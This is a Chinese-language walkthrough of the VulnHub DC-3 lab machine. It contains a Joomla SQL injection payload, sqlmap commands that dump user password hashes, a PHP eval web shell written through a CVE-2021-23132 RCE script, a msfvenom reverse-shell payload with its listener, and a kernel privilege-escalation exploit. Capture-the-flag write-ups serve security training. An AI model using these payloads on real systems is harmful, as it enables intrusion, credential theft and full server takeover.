攻击机:kali2025(192.168.85.135)
靶机:(192.168.85.139)
靶机地址https://www.vulnhub.com/entry/dc-32,312/
此靶机网络模式默认为桥接模式,为了方便测试我们可以把模式改为nat模式。
第一步先确定靶机ip
使用nmap扫描一下c段
看一下靶机的mac地址,找一下靶机
可以看到是192.168.85.139这个机器,只开了一个80端口
保险起见第一步先扫一遍所有端口,扫完确定只有一个80端口
访问一下
接下来做一下信息收集
whatweb192.168.85.139
wappalyzer分析一下
获得关键信息网页时Joomla 开源内容管理系统
现在去首页收集一下信息
中文翻译
本次挑战仅有一个 flag、一处入口点,没有任何提示线索。
想要拿到 flag,你必须拿到服务器 root 最高权限。
至于如何提权到 root,全看你的思路与系统本身存在的漏洞。
祝你好运,希望你能享受这次靶机挑战。😃
老规矩扫一下目录
作者替你们看看这些目录
下面两个都是他们的防御规则
这里泄露了cms的版本号
去找相应的cve漏洞
searchsploit Joomla3.7
第一个是3.7版本通用的sql注入漏洞,直接上网找就行
Joomla 3.7.0 SQL注入漏洞 CVE-2017-8917
漏洞简介
com_fields组件出现漏洞,com_fields组件是在3.7版本添加的,如果你使用此版本,将受到影响,并应尽快更新。这个组件可以公开访问,意味着任何能访问你站点的用户都可以发起攻击
http://192.168.85.139/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=extractvalue(666,concat(0x3a,database(),0x3a))漏洞复现
能够成功注入
方便展示,直接上sqlmap
sqlmap-u"http://192.168.85.139/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=1"-plist[fullordering]--risk=3--level=5--random-agent--dbs--batch注入成功,获取数据库名
接下来进去探查一番
sqlmap-u"http://192.168.85.139/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=1"-plist[fullordering]-D"joomladb"--tables看一下里面#__users这个表,很可能存了账号密码
sqlmap-u"http://192.168.85.139/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=1"--random-agent-D"joomladb"-T"#__users"--columns-plist[fullordering]有账号密码,看一看
sqlmap-u"http://192.168.85.139/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=1"--random-agent-D"joomladb"-T"#__users"-C"username,password"--dump-plist[fullordering]
密码是这个
$2y$10$DpfpYjADpejngxNh9GnmCeyIHCWpL97CVRnGeZsVJwR0kWFlfB1Zu使用kali自带的john破解试试
vimtest#里面放你的密文johntest--show破解成功
拿去登录试试,登陆成功
又去找了找cms漏洞去利用,这种开源cms系统一般不需要自己去寻找漏洞点,直接百度就行
https://www.cnblogs.com/starci/p/15174896.html
下面是github利用脚本
注意:这个脚本作者在使用过程中报错了(不知道是不是我个人靶场环境原因),大概是空数组错误删除了不存在的文件。后来给源码喂给ai改了一下异常捕获和处理就ok了
https://github.com/HoangKien1020/CVE-2021-23132/blob/main/README.md
python cve-2021-23132.py-urlhttp://192.168.85.139/-uadmin-psnoopy-rce1-cmdls能够成功执行
由于这个连接不是正向连接,我们写入一个一句话木马,使用蚁剑连接一下
python cve-2021-23132.py-urlhttp://192.168.85.139/-uadmin-psnoopy-rce1-cmd"echo '<?php eval($_POST[ant]);?>' > shell.php"python cve-2021-23132.py-urlhttp://192.168.85.139/-uadmin-psnoopy-rce1-cmd"ls"#看一下有没有成功写入
蚁剑连这个目录
http://192.168.85.139/templates/protostar/shell.php
接下来连上我们的msf
msf生成木马传一下过去。
msfvenom-plinux/x86/meterpreter/reverse_tcpLHOST=192.168.85.135LPORT=8888-felf-oshell#开启监听use exploit/multi/handlersetPaYLOAD linux/x86/meterpreter/reverse_tcpsetLhOST192.168.85.135setlport8888run生成的木马通过蚁剑传过去
然后再虚拟终端执行
chmod+x shell ./shell
msf这边成功获取到连接
接下来提权
常规信息收集一下,
#前两个没有信息sudo-lhistory#收集内核信息uname-a
通过内核提权试试
内核是4.4.x的一般都是Ubuntu 16.04
searchsploit Ubuntu16.04满足的提权漏洞挺多的,不过因为靶机是32位的作者在使用过程中很多都出现报错了,这里使用这个39772.txt
打开后里面有一个网站打开下载(最后面那个)
里面复制exploit.tar到靶机
上传靶机(在meterpreter 下上传)
upload /tmp/exploit.tar /tmp/tar-xvfexploit.tar然后进入目录
执行里面的doubleput文件然后静待提权成功即可
提权到root这道题就到这里结束了